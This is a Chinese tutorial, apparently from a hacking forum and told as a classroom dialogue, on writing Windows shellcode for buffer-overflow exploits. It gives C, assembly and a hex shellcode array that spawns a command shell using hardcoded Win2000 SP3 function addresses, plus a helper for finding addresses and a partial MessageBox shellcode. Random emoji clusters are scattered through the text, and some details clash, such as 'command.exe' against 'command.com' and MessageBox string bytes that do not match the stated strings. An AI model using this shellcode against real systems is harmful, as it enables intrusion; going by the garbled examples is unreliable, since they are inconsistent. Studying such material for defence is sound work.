Windows下ShellCode编写初步 |
“上课了,上课了!”同学们一边兴高采烈的讨论着一边步入教室。新的一周又开始了。
“嗯,大家经过这两次课的学习,有什么感觉啊?”老师等同学们坐好后问。 “噢,这几次课我们对溢出编写的基本思路有了清晰的了解;掌握了利用缓冲区溢出的两种方式;同时还对大量的实际漏洞进行了成功的编写。”古风认真的说道。 👀🪐🍇♾🐝 “嗯,让我们的兴趣和技术都得到了很大的提升。”玉波说。 “同时,我们也认识到了真正的黑客精神是钻研和共享!”宇强佩服的说道。“好!”老师赞扬道,“大家有了这些认识就很好!只要有了兴趣和钻研的精神,就可自主的不断深入下去;同时,有了共享的精神,就会得到别人的尊敬,并且一同讨论、一起进步。” “嗯!”大家认真的点点头。 👌🗺🥩🚭🪰 “但是,老师。”宇强说道:“虽然我们的溢出水平的确有所提高。但在实际编程中,对ShellCode的编写不是特别明白,对复杂漏洞(比如堆溢出漏洞)也还不清楚,希望能继续的学习。” 老师笑道:“呵呵,别着急,在后面的章节中我们会慢慢深入下去的。大家有这个不断学习的想法就很好!再提醒一次,学习更重要的是方法,而不是技术本身。如果你掌握的只是技术,技术会很快过时,那你就没有机会了;如果掌握的是方法,那你就能很轻松的应对技术的变迁。” 👂🗽🥩🆒🐙 大家齐声答道:“嗯,我们一定会注意的!” 老师说道:“那好,首先我们一起来看看ShellCode的编写吧!” ShellCode是什么 🤟🌡🍏❎🐢老师说:“缓冲区溢出漏洞的利用。本质上来讲,就是使计算机跳转到我们的ShellCode中去执行,所以,ShellCode是缓冲区溢出利用的关键之一。但ShellCode本身的编写是大有学问的,可易可难,所以这里单独提出来讲。” 大家小心翼翼的问道:“前面多次提到了ShellCode,这里又说它很有学问。但ShellCode究竟是什么呢?我们都还不知道呢……” “哦,对哈!”老师一拍脑袋:“之前我还没解释过呢!不要紧,现在我们就来一起学习。”“最先的Shell指的是人机交互界面,而这里的ShellCode不仅仅指交互了,而是指可以实现我们想要的功能的代码。ShellCode是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在。比如,第一章中开DOS窗口的ShellCode,这也是通常ShellCode的出现方式。”🧥💾😳🤞 ![]() “大家看,ShellCode数组里存的是十六进制形式的机器码,其实,本质是对应着可直接执行的汇编程序。”老师说道。 👆🚂🍧📶🪶 “哇!是程序啊?但一点都看不出来,究竟是干什么的程序呢!”有些同学问道。 “呵呵!功能的分析会在后面会讲到。”老师说。 “ShellCode是程序,那岂不是需要别人点击和编译吗?”玉波晃晃脑袋,不解的说。🧓👔💊😊🤞 “这里的ShellCode其实是计算机能直接执行的机器代码,只要计算机的指令指针EIP指向ShellCode里面,就可以顺利执行,不需要再点击和编译了。” 小知识:计算机指令的执行 计算机每次都只是执行当前EIP指向的指令(单CPU)。在当前指令执行后,EIP会自动加1,从而指向下一条指令。如果有JMP CALL RET—类的指令,EIP就会被强行改变成指定的地址,从而完成流程的跳转。 🙌⛪🍼❌🐙 “再解释清楚一点,我们想尽办法写出ShellCode,是想用ShellCode的数据把内存中原有的数据等动态覆盖掉,之后计算机的指令指针EIP指向ShellCode在内存中的开始位置,就可以执行ShellCode,实现我们想要的功能了。”老师继续说道。 “比如,原来在内存中的数据是这样的,如下图。” 原内存中的数据 👍🚘🍧🦋 ![]() “但我们把数据动态覆盖成ShellCode后,就成下图的样子了。” 覆盖后的数据 👏💈🍍❓🐋 ![]() “这些数据就是那个开DOS窗口的ShellCode代码。当计算机执行到原来的地方时,实际上是在执行我们的ShellCode。这样,计算机在不知不觉的情况下就完成了我们想要的功能,不需要别人再去做什么。“ 👆🚐🥛❓🦉 哦!”同学们恍然大悟。“那有点像在Debug时动态改变寄存器的值一样。”宇强说道。“对,就是这样!计算机会按照改变后的值继续执行下去,而不管是谁改变了值,是否改变得正确。”老师还赞扬了一句:“看来这位同学的悟性不错嘛!” “嘿嘿!”宇强发现PLMM看了自己一眼,高兴极了!👨🎨👚💊🥱👊 “大家继续努力吧!知道了ShellCode的用处,那我们就来看看如何编写出机器码形式的ShellCode。” 简单的例子——编写控制台窗口的ShellCode “学习任何东西,都是由易到难,从简单到复杂,”老师说道。“这是一种学习的方法。”👦🧣🪟😋👃 “嗯!”台下认真的听着。 “我们这里也一样,”老师环顾了一下教室,说道,“我们从一个简单的程序进入编写ShellCode的殿堂吧!” 打开控制台窗口的C程序 🧑🍳🗑😡🤌 “ShellCode是完成我们想要的功能的代码,那我们想要的功能最好是能开一个DOS窗口,那样就可做很多事情。比如之前在第一章中例举的这个程序。” [mw_shl_code=c,true]#include<windows.h> int main() { 👄🚠🍪💲🦚LoadLibrary(“msvcrt.dll”); system(“command.com”); return 0; }[/mw_shl_code] 🤛🌞🍪♻🐒 “在这个程序中,首先使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll,然后用system函数执行command.com,就可获得一个DOS窗口,我们能在窗口中执行dir、copy等命令,效果大家也见过了。” “喔!看起来很简单啊!”大家说道。 “嗯,是啊丨但在那个程序中,编译器会帮我们完成很多工作,比如函数地址的转换等。下面这个程序功能完全一样,但更能突出本质!大家看!” 👍🧳🍧©🐝 [mw_shl_code=applescript,true]#include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); //定义函数指针 int main() 👂🍚™🦉 {HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary(“msvcrt.dll”); ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址 ✌🌞🎂🆘🕊(ProcAdd) ("command.com"); //其实就是执行system(“command.com”) return 0; }[/mw_shl_code] “哎哟!好复杂啊!头晕……”好多人开始晕‘程’了。👦🧦📟🤮💪 “呵呵,不要怕,这个程序和原来的那个差不多,但多了一些处理。我们一句一句的解释吧! typedef void (*MYPROC) (LPTSTR) 定义了一个函数指针,其指向函数的参数是字符串,返回值是空。该指针的作用是用于指向system函数,在后面调用它,就相当于调用system函数。 👏💈🥄🅿🐴 LibHandle = LoadLibrary("msvcrt.dll") 加载msvcrt.dll这个动态链接库,动态链接库的句柄赋给LibHandle。 ProcAdd = (MYPROC) GetProcAddress (LibHandle,"system"); 🦴🚘🌰🆎🦄 获得动态链接库的句柄后,我们再使用“GetProcAddress(LibHandle,system)”获得system的真实地址。之后再使用这个真实地址来调用system函数。执行该语句后,ProcAdd为指向system函数的指针,即ProcAdd存的是system函数的地址。” (ProcAdd) ("command.com"); 🧓👖🧹😄👈 因为此时的ProcAdd为指向system函数的指针,所以“(ProcAdd)("command.com")”就是调用“system("command.com")”,完成我们想要的功能。” “我们编译执行,仍然会弹出一个DOS窗口来,看下图。 ![]() “哦!好像比原来的程序就多了一个找system函数的地址。”宇强仔细观察后说道。 “是啊,干嘛这么麻烦呢!原来的程序不是挺好的吗?”胖胖的玉波又喃喃说道。 老师说:“我们千方百计的找出函数地址来,一定是有用处的。刚才说了这么多,大家也一定想知道system的地址到底是多少吧!” 🧠🚂🥭✡🐶 “嗯,是啊,还真不知道呢!” 查看函数的地址 “好,我们一起来看看system函数的地址吧!在VC下按F10进入调试状态,然后在Debug工具栏中,点最后一个按钮‘Disassemble’和第四个按钮‘Registers’,这样就出现了源程序的汇编代码和寄存器状态窗口,如下图。”👦👞🧯🤪✊ ![]() “我们继续按F10,程序就会单步执行,直到‘LibHandle=LoadLibrary("msvcrt.dll")’那句下的‘call dword ptr [_imp__LoadLibraryA@4 (0042413c)]’执行完后,我们就可在寄存器窗口中发现EAX变为了780000,说明在我Win2000SP3的机器上,msvcrt.dll的地址为0x780000。如下图。”老师说道。 👳👠📮😒🖕 ![]() “等等,为什么这里的EAX的780000就为msvcrt.dll的地址呢?”古风说道。 “呵呵,我当然没那么天才,能自己想出来。”老师说,“那句‘call dword ptr [__imp__LoadLibraryA@4(0042413c)]’就是执行‘LoadLibrary("msvcrt.dll")’,返回值就是msvcrt.dll的地址;而函数的返回值,通常都是放在EAX中,这算是计算机系统的约定吧!所以,‘LoadLibrary("msvcrt.dll")’的返回值(msvcrt.dll的地址)就存在EAX中,即780000。” 👊🏝🍚🚷🐋 “哦,这样啊!那system的地址是多少呢?”“一样的道理,我们继续按F10执行下去,直到‘ProcAdd = (MYPROC) GetProcAddress (LibHandle,"system")’语句下的‘call dword ptr[__img__GetProcAddress@8 (00424194)]’指令执行后,可以发现得到EAX为7801AFC3,即在我Win2000 SP3系统的机器上,system()函数的地址是0x7801AFC3,如x下图。 ![]() ✌🌦🍇📶🐅 “哦,真的是啊!” “不是‘蒸’的,难道还是煮的吗?{:4_107:}接下来,执行‘(ProcAdd)("command.com")’,就弹出了一个DOS对话框,整个程序就结束了。”老师说道。 “哦,明白了。但还是不太清楚为什么需要知道system函数的地址?”古风问道。 “嗯!这涉及到Windows下函数调用的方式。”🥷🧥💶🥱👃 Windows下的函数调用原理 老师说:“在Windows系统中,函数调用方式和Linux系统下函数的调用方式是不同的。” 小知识:🧑⚕️🎩📷😥👄 在Linux下,函数的执行是使用系统中断调用。执行一个函数,是把参数赋给寄存器,然后调用中断int 80来执行。比如执行execve (name[0],name,NULL),系统把0xb拷贝到寄存器EAX中(0xb是系统调用execve的代码号);将name[0]的地址拷贝到寄存器EBX中;将name的地址拷贝到寄存器ECX中;将NULL拷贝到寄存器EDX中;然后执行中断指令int $0x80,就完成了execve函数的执行。Linux执行其他函数也类似,系统把函数的系统调用码给EAX(如execve是0xb),函数带的参数给其他寄存器,最后执行int $0x80中断指令,就完成函数的执行。 “在Windows下,函数的调用需要先把函数所在的动态链接库Load进去,这点大家都清楚。而在执行的时候用堆栈传递参数,然后直接CALL该函数的地址就完成了,而不是像Linux使用系统中断。” 老师解释道:“比如,在Windows下执行函数Func (argv1,argv2,argv3),先把参数从右至左压入堆栈,这里就是依次把argv3、argv2、argv1压入堆栈里,然后Call Func函数的地址,这里的Call Func函数地址,其实等于两步,一是保存当前EIP,二是跳到Func函数的地址执行,即Push EIP+Jmp Func。其过程如下图。”👦🧢📠😴🦷 ![]() “大家这点明白了吗?”老师画完图后问道。 “Yes!但看看实际的例子更容易理解。”大家说。 ✋🚠🔪☯🐉 “当然可以啦!我们来验证一下,还是调试刚才那个程序。执行ProcAdd=(MYPROC) GetProcAddress(LibHandle,"system");这句时,其过程应该是先压入system字符串地址,再压入LibHandle,最后call GetProcAddress函数的地址。大家看,在汇编代码中,过程是一样的:” [mw_shl_code=c,true]push offset string “system” 第二个参数system字符串的地址入栈 push [ebp-4] 第一个参数LibHandle入栈 call [__imp__GetProcAddress] Call GetProcAddress函数的地址[/mw_shl_code]🧑🌾🥼💿🥰✊ ![]() “哦!真的和分析一模一样啊!”玉波撇撇嘴说道。 “呵呵,是的。这次由你们自己来分析执行(ProcAdd) ("command.com");的过程吧!”老师说。 👩✈️🥾💉😚🧠 “好哩!(ProcAdd) (〃command.com〃)首先是参数入栈,这里只有一个参数,所以就把command.com的地址压入堆栈;然后call ProcAdd函数的地址,这里ProcAdd函数的地址保存在[ebp-8]中,所以call [ebp-8]就OK了。”大家说道。 “非常好!”老师很满意,“真是名师出高徒啊!” “这下清楚我们为什么要知道system函数的地址了吧?”🧑⚕️🩴🔋😭👃 “莫非在执行函数时直接CALL我们知道的函数地址?”宇强想了想,问道。 “对!我们知道了函数的地址,也知道了函数执行的原理,那我们就可自己写出调用函数过程的汇编代码,甚至是机器代码一ShellCode!”老师说道。 汇编和机器码——真正ShellCode的生成 👳🎩🏮🤩🤳“现在知道了我机器上system函数的地址是0x7801AFC3,也知道了函数的执行原理。那我们就来直接写出system(“command.exe”)的汇编代码!” “哇!”台下大惊,特别是几个女生,“我们还不懂汇编呢!” “没事。”老师蛮有信心的说,“你们只要知道PUSH和CALL就行了,你们知道PUSH和CALL吗?知道,所以就行了。” “……”台下没人敢说话。 ✊🏦🍒💲🦚 “不要怕,学习的关键还是思路,只要把握了整个流程,那些细节东西自然就明白了。这也是种学习的方法,有时太拘泥于细节,不能把握好全局,反而不好。‘亮独览大略’,这就是诸葛亮比其他人强的原因。” “哦!”👵💍🪥🥰👁 “怎么样?大家一起来考虑,一起来编写?”老师问了问大家。 “好吧!”听到诸葛亮也这样,大家都很有信心了。 “我们先把system(“command.exe”)的汇编代码写出来。” “根据前面的分析,执行system(“command.exe”)只需先把参数command.exe字符串的地址入栈,再CALL System的地址就行了。” 👂⛄🍖🅰🐢 “但command.exe字符串地址是多少呢?我们把什么压入堆栈呢?”古风问。 “是啊,这是个问题啊!”其他人也附和着。 “问得好!我们不知道command.exe字符串的地址,甚至连内存里有没有command.exe字符串都不知道,但我们可自己构造出来。”老师说。 🛩🍽♊🐒 “啊?自己构造?在哪里构造?怎样构造啊?”大家不解的问。 “呵呵,就在堆栈里构造!我们把‘command.exe’一个字符一个字符的压入堆栈,这样‘command.exe’字符串就有了,而且ESP正好是command.exe字符串的地址,看图。” ![]() 🤳⛵🎂💲🐒 “有了字符串和字符串的地址ESP,我们把ESP压入堆栈,就是system(“command.exe”)函数的参数一——command.exe字符串的地址,如下图。” ![]() 👳🧢🦯😡👎 “哦!”大家恍然大悟。 “最后我们CALL System函数的地址就行了。我的Win2000SP3机器上的system函数地址为0x7801AFC3,所以CALL 0x7801AFC3。” “哇!按照这样的思路,我们可以得到system(“command.exe”)的汇编代码了!”古风高兴的说,埋头就想写汇编了。 👮♂️🪖✒😥👄 “慢着,”老师阻止了古风,“PUSH是四字节对齐的,就是说PUSH—定会压入四个字节,比如PUSH 0x41,其实是压0x00000041进堆栈。刚才讲的一个字节一个字节的压入,其实是不行的。” “啊?计算机岂不是耍我们?” “但我们完全可以利用这个思路,只不过在实现细节上要改动一下。就像你们男生都要让着女生一样,我们也让着点计算机MM哈!” 🖐🏫🍭⁉🐟 “哈哈哈哈……”大家都笑了起来。小强暗叹道:“我还没有GF呢!” “怎么改动呢?” “方法很多,比如,计算机入栈是压四个字节,那我们就每次PUSH四个字节;或者我们就一个字节一个字节地把值赋入堆栈,不用PUSH,而直接用赋值。直接赋值的方法就像这样,大家看:” [mw_shl_code=c,true]👩🛍🗑😋👌 mov esp,ebp ; push ebp ; mov ebp,esp ; 把当前esp赋给ebp xor edi,edi ; push edi ;压入0,esp-4,; 作用是构造字符串的结尾\0字符。👮♂️🥾🪟👻🤞 sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。 mov byte ptr [ebp-0ch],63h ; c mov byte ptr [ebp-0bh],6fh ; o mov byte ptr [ebp-0ah],6dh ; m mov byte ptr [ebp-09h],6Dh ; m👴🥼🛋🥱🖐 mov byte ptr [ebp-08h],61h ; a mov byte ptr [ebp-07h],6eh ; n mov byte ptr [ebp-06h],64h ; d mov byte ptr [ebp-05h],2Eh ; . mov byte ptr [ebp-04h],63h ; c👦👖🗝🤩✍ mov byte ptr [ebp-03h],6fh ; o mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com". lea eax,[ebp-0ch] ; push eax ; command.com串地址作为参数入栈 mov eax, 0x7801AFC3 ;🥷🎩📐🤩 call eax ;[/mw_shl_code] “给大家解释一下,‘mo vebp,esp’是把esp赋给ebp作为栈底;而‘push edi’和‘sub esp,08h’是把esp减去12字节,这12个字节空间就用来放‘command.com’;然后‘mov byte ptr [ebp-0ch],63h’那些指令,是我们把command.com—个字节一个字节的放进留出的空间中;这下有command.com字符了吧?我们用‘lea eax,[ebp-0ch]’来获得构造的command.com字符串的地址;最后,‘push eax’把地址压入堆栈,call system函数的地址就完成了。“ “下面来验证一下,在VC中可以用__asm关键字插入汇编,我们把system(“command.exe”)用写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图。”👮♂️👔📱😅✍ ![]() “哦!果然是一样!”同学们满意的说道。 👨🚒💍🔑🤩🤞 “嗯,我们把LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,要注意的是,LoadLibrary在Win2000SP3上的地址为0x77e69f64,把两段汇编合起来得到cmdASM.cpp。我们把cmdASM.cpp编译、链接、执行。也成功了!如下图。” ![]() “哇!想不到汇编也能这么轻松搞定啊!”大家都有点不相信自己的眼睛。 🙌🗺🥄🚷🦌 “呵呵,关键在于理解方法,有了方法,学习困难的东西就会变成一件愉快的事。最后我们来生成机器码 ShellCode。” “也不难吗?”还是些同学有点担心。 “嗯,有了刚才的工作,难的只是动笔的体力活了。我们对刚才的全汇编程序在VC中按F10进入调试状态,接着按下Debug工具栏的‘Disassembly’按钮,然后点鼠标右键,在弹出菜单中选中‘CodeBytes’,就会出现汇编对应的机器码了!大家看图!” 🧑🍳💄🩺😴🤝 ![]() “第一句‘pushebp’对应的机器码是55,第二句‘mov ebp,esp’对应的机器码是8BEC,因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动的抄下来,就可得到想要的ShellCode了。 古风一声叫唤提醒了大家,大家奋笔疾书,边看边抄,不一会就写下了shellcode。 👈🚂🫑❓🐴 [mw_shl_code=c,true]unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"🥷🧥📷😫👍 "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 🦴⛄🥑⁉🐅 "\x50\xB8""\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3 "\xFF\xD0";[/mw_shl_code] “呵呵!很好,大家都很勤奋。”老师笑道,“你们写下来的就是真正的ShellCode!”👩👗💊🤡🖐 “Yeah!”大家都兴奋极了!“终于知道如何写出Shellcode了。” “是啊,大家都很不错,又有了很大的进步。但和现实中真正用的ShellCode相比,刚才那个ShellCode无论是在功能上还是在实用上都很苍薄,甚至可以说是简陋。所以我们离真正ShellCode的编写还有很长的路要走,我们还是一步一步的来吧!而现在嘛……”老师环顾了一下大家。 大家都紧张的看着老师。 🙌🛑🦞©🦮 “大家提取ShellCode都辛苦了,先休息十分钟吧!”{:4_102:} ShellCode通用性的初步分析 老师走后,同学们三三两两地闲聊了起来。 🧑🍳👗✏☠👂 “为什么老师说ShellCode很简陋呢?” “因为…因为不精致啊……” “哈哈哈哈,什么啊,那我也知道。” “我想听听老师回来后会说什么。” 🧑⚕️👒🧲💀👎 宇强漫不经心的四处看了看,不料一下子看见了那位叫吴小倩的女生。班上的其他女生都坐在一起闲聊,而小倩正在认真的整理笔记,宇强发现她握笔的姿势很美…… “在干什么呢?”玉波走过来对宇强说。 “没什么,活动活动啊……”宇强赶紧说。 “是呀,累啊!大家放学去吃大盘鸡吗?”玉波才来没久,已经吃遍学校周围了,“还有,你觉得那个ShellCode怎样?”👨🚒🧦💉😰👂 “今天我要回家,下次吧!对于那个ShellCode,”宇强认真的回答道,“我主要觉得功能不强。刚才的ShellCode只是开了个本地DOS窗口,但实际中像.printer漏洞等都是远程的,开个本地的DOS窗口根本没有用处。” “说的很对!”一个声音传来。大家定睛一看,原来是老师回来了,“我们一起来探讨一下ShellCode吧!” 🧓👗🪗😘✍ 刚才代码的不足 老师说道,“刚才那个ShellCode不足之处之一是功能不实用,那位同学叫什么?” ✌🏫🍼🅾🦕 “我叫宇强,老师!”宇强回答道。 “对,宇强同学刚才也说了,实际中的溢出漏洞很多都是远程的,那么ShellCode也需要完成远程的功能。”大家都看了看宇强,小倩也瞄了瞄他。 老师接着说:“而实际的ShellCode—般都是开个端口让人远程登陆,或下载文件执行等。除了这一点,刚才的ShellCode还有第二个缺点一不通用。” 👆🛩🍧🈷🐥 “不通用是什么意思?”古风不解的问道。 “就是我们用了固定的函数地址!”老师解释道,“比如刚才CALL LoadLibrary和system函数,用的是Win2000SP3里固定的0x77e69f64和0x7801afc3地址。如果是其他的SP或者是XP(甚至是Windows2003),那函数的地址就不是刚才的那些值,再使用刚才的值就会出问题。” “会有什么问题呢?”古风继续问道。 “在其他SP系统上,”老师继续说,“0x77e69f64和0x7801afc3可能对应的是其他函数地址,甚至是非法地址,再CALL它们至少不能完成我们想要的功能,甚至会出现报非法操作的错误。” 🤳⛪🥣↔🐝 “哦!这样啊!那这两点都非要解决才能写出通用和实用的ShellCode罗!” “是啊!但饭要一口一口的吃,事情要一件一件的做。对于Shellcode的功能扩充,我们将在下节课讲到。今天剩下的时间我们先对ShellCode的通用性问题进行初步研究吧!” ✊🗽🍓🆒🦬 通用性的初步探索 “哦!通用性怎么解决呢?”台下有人问道。 “大家先考虑考虑,看看你们能提出什么解决办法不。”老师说。👳🧦🪝😥👍 “嗯,如果我们知道所有不同系统的相关函数地址就好了。”玉波说道。 “我们可以把所有的系统都装上,然后一个个的调试刚才的程序。用刚才读地址的办法,把每个系统的地址一个个的读出来。”古风提出了个狠办法。 “对,这个办法不错啊!”大家异口同声。 “嗯,不错。得到了所有地址之后,大家又想想怎样可以让我们的程序在每种系统上都能使用呢?”老师继续问道,“我们班上的女黑客们还是发一下言啊!”👩🩳📱💀👈 几位女生都只是抿嘴笑,不说话。 宇强考虑后说道:“我们找到所有系统的地址后,把所有地址都备份在程序里面,以后要针对哪种系统就改成哪种系统的地址。” “对啊!”大家都赞同的说。 🖕⛴🔪🅱🦬 宇强说:“但这种方法好笨啊!每种系统都要找地址,然后改地址,才能成功的执行。好累啊!”说完又往班上的女生们那面看了看,正好和小倩的眼光对视,赶紧转过头,把眼光避开。 “呵呵!是啊,是有点累!但能想出一种解决方案还是很不错。”老师总结道,“现在我们就用这种办法来写ShellCode吧!我们将在ShellCode高级技巧中完美的解决通用性问题。现在这种方法写出的ShellCode应该如下。” [mw_shl_code=c,true]unsigned char shellcode[] =🧑🌾👙🪟😘🖐 "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" //\xFF\xFF\xFF\xFF //sp0 loadlibrary地址 //\xFF\xFF\xFF\xFF //sp1 loadlibrary地址🥼📮🥰👆 //\xFF\xFF\xFF\xFF //sp2 loadlibrary地址 //\xFF\xFF\xFF\xFF //sp4 loadlibrary地址 "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" 👂🗽🍓🈚🐡"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" //\xFF\xFF\xFF\xFF //sp0 system地址 //\xFF\xFF\xFF\xFF //sp1 system地址 🤛⛪🍭🈸🐞//\xFF\xFF\xFF\xFF //sp2 system地址 //\xFF\xFF\xFF\xFF //sp4 system地址 "\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3 "\xFF\xD0";[/mw_shl_code] 👦👜💶🤪🙏 “是啊!到时候选择需要的地址就可以了。” “嗯,这里再给大家一个礼物:就是自动查找函数地址的程序GetAddr.cpp。我们可以使用它在每种系统中找出任意想要的DLL和函数的地址,程序如下 [mw_shl_code=c,true]#include <windows.h> #include <stdio.h>🧑🎤🩳💊🙂🖕 typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle; MYPROC ProcAdd;🧑🚀🩳📥😅👄 LibHandle = LoadLibrary("msvcrt"); printf("msvcrt LibHandle = //x%x\n", LibHandle); ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system"); printf("system = //x%x\n", ProcAdd); return 0; 🖐🍇🈚🦬}[/mw_shl_code] “执行效果如下图,它自动找出了我机器上system函数的地址——0x7801afc3。” ![]() 👖📞😥👎 “哇!太棒了!”同学们都很高兴,马上就要找各种系统的地址。 “等一下。”老师招呼道,“大家这里分一下工,作为作业拿回家做吧!玉波同学找Win2000SP0的地址;古风找Win2000SP1的地址;宇强找Win2000SP2的地址……女生们就找XP系统下的地址吧!每种系统都找LoadLibrary和system函数的地址,大家找到之后,把它们记下来,作为技术积累,明白了吗?” ✌🏝🍪☣🐺 大家都点了点头。 “这里提示一下,LoadLibrary函数属于kernel32.dll,所以我们把那个查找程序里的LibHandle=LoadLibrary("msvcrt");改成LibHandle=LoadLibrary("kernel32"); 把 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");改成ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibrary")。” 👊🗽🥑📳🦟 “哦,明白了。” “以后要查找其他函数的地址时都像这样,把函数名和所在的dll名替换程序的相应地方就可以了。“好咧! “我们再来看看另一个简单的例子吧,再加深一下大家对ShellCode编写的感觉。” 🧠🛩🥄☯🐙 弹出Windows对话框ShellCode的编写 “刚才ShellCode的功能是弹出DoOS窗口控制台,虽然可以让我们做很多事情;但黑乎乎的,有点不爽!”玉波开玩笑说。 👊🛩🍚⁉🦋 “是啊,爱美之心人皆有之,我也这么认为。”老师说。 “呵呵,是啊!”大家都笑了。 “好。那我们来写一个‘漂亮点’的ShellCode吧!弹出一个Windows图形界面的对话框,如何? ✋🍪♀🦟 “好啊! C程序解释 🧠🚠🥚☯🐺 “要弹出一个Windows对话框,user32.dll中的MessageBox函数可以帮助我们完成这个功能。”老师说道。“简单的说,程序只要一句话,实现如下。” [mw_shl_code=c,true]#include "windows.h" 👀🏝🍖⁉🐡 int main(int argc, char* argv[]) { LoadLibrary("user32.dll");👩🪖🔋😳👎 MessageBox(0, "Www.GuHei.Net","提示", 1); return 0; }[/mw_shl_code] 👳🛍⚒😰✋ “首先,‘LoadLibrary(〃user32.dll")’是加载user32.dll动态链接库,大家都应该清楚吧!” “然后,‘MessageBox(0, "Www.GuHei.Net","提示", 1);’是弹出Windows对话框。我们执行,可以看到对话框的标题是‘提示’,里面的内容是‘ ’。如下图,好看多了吧?” ![]() 🦴⛴🥭🚭🦚 古风核对了一下说道:“哦!那说明MessageBox函数带的第二个参数‘ ’是对话框内容,第三个参数‘提示’是标题内容?” “恩,是的!” “那还有第一个和最后一个参数呢?一个用的是0,另一个用的是1,又代表什么意思呢?”古风继续问道。“呵呵!我们看看官方(微软)给的定义吧!第一个参数的帮助信息如下:” 🤝🌞🍟♾🦜 引用 “意思是,第一个参数表明对话框所属的窗口句柄。如果第一个参数为NULL(即0),那么对话框不属于任何窗口。这里我们用的就是0,弹出不属于任何窗口的对话框。” 👂🌕🍟📵🦖 “而最后一个参数,是表明对话框的类型。0代表MB_0K,即只有一个‘0K’按钮;1代表MB+0KCANCEL,对话框会有‘0K’和‘Cancel’两个按钮。这里我们用的就是1,两个按钮的对话框比较好看吧!” “对话框还有很多类型,比如MB_RETRYCANCEL、MB_YESNO、MB+YESNOCANCEL等,大家可以下去自己看看。”“这里我们接着分析汇编和ShellCode的生成。 👳🎒🖲👻🦷 生成汇编和ShellCode “对比前面的分析。执行system(“command.exe”)时,先把参数command.exe字符串的地址入栈,再callsystem的地址就行了。” 🤌🏠↔🦕 “那么,执行MessageBox(0, "Www.GuHei.Net","提示", 1);就是把四个参数从右至左压入堆栈,即先压1,再压‘提示’字符串的地址,然后是‘ ’字符串的地址,最后压0;接着CALL MessageBox函数的地址就OK了。” “1和0多好压啊!只要PUSH0、PUSH1就完成了。”玉波嚷道,“可惜还有两个参数呢!如果参数都是数字就好了。” 🧑🎤👠💳😡💪 宇强想想后,问道,“那‘提示’和‘ ’这两个参数串莫非像构造command.exe字符串那样,先在栈里面构造出来,然后把它们的地址作为参数入栈?” “太对了!”老师表扬道,“第三个参数‘提示’是对话框标题,我们在‘ebp—0Bh’和‘ebp-0A’的地方分别放‘提和示’,而‘ebp-09’放字符串结束标志0x00。那么,‘ebp—0Bh’就是字符串的地址了。示意图如下。” ![]() 👊🎢🍏ℹ🐋 “我们把‘ebp—0Bh'放在ESI中保存起来,等会儿作为参数入栈,代码如下:” //标题"提示"->esi mov byte ptr[ebp-0Bh],77h//w 👩✈️👖💾🙄👊 mov byte ptr[ebp-0Ah],77h//w mov byte ptr[ebp-09h],0h//0x00 lea esi,[ebp-0Bh] 👆🛑🎂🈴🐅 “然后第二个参数(对话框的内容)‘ ’也是类似。我们把它放在‘ebp-07h’开始的地方,并保存在ESI中,代码如下:” //内容"Www.GuHei.Net"->edi mov byte ptr[ebp-07h],77h//w mov byte ptr[ebp-06h],77h//w 👃🛑🥛📳🐙 mov byte ptr[ebp-05h],30h//0mov byte ptr[ebp-04h],38h//8 mov byte ptr[ebp-03h],33h//3 mov byte ptr[ebp-02h],30h//0 mov byte ptr[ebp-01h],0h//0x00👴💍📬😷🤙 lea edi,[ebp-07h] “参数都构造好了。最后我们合起来执行MessageBox(0,"Www.GuHei.Net","提示",1)吧!” 💪🚗🍏♏🐮 “第四个参数是1,我们就直接PUSH 1;倒数第二个参数是标题字符串的地址,我们存在ESI中的,所以PUSH ESI;同样,内容字符串的地址是在EDI中,我们PUSH EDI;第一个参数是0,我们PUSH 0。” “参数都入栈后,我们CALL messagebox函数的地址。在我的机器上,函数的地址是0x77d3add7,我们直接CALL 0x77d3add7就完成执行函数了。 🧑🌾👙🪥☠🖐 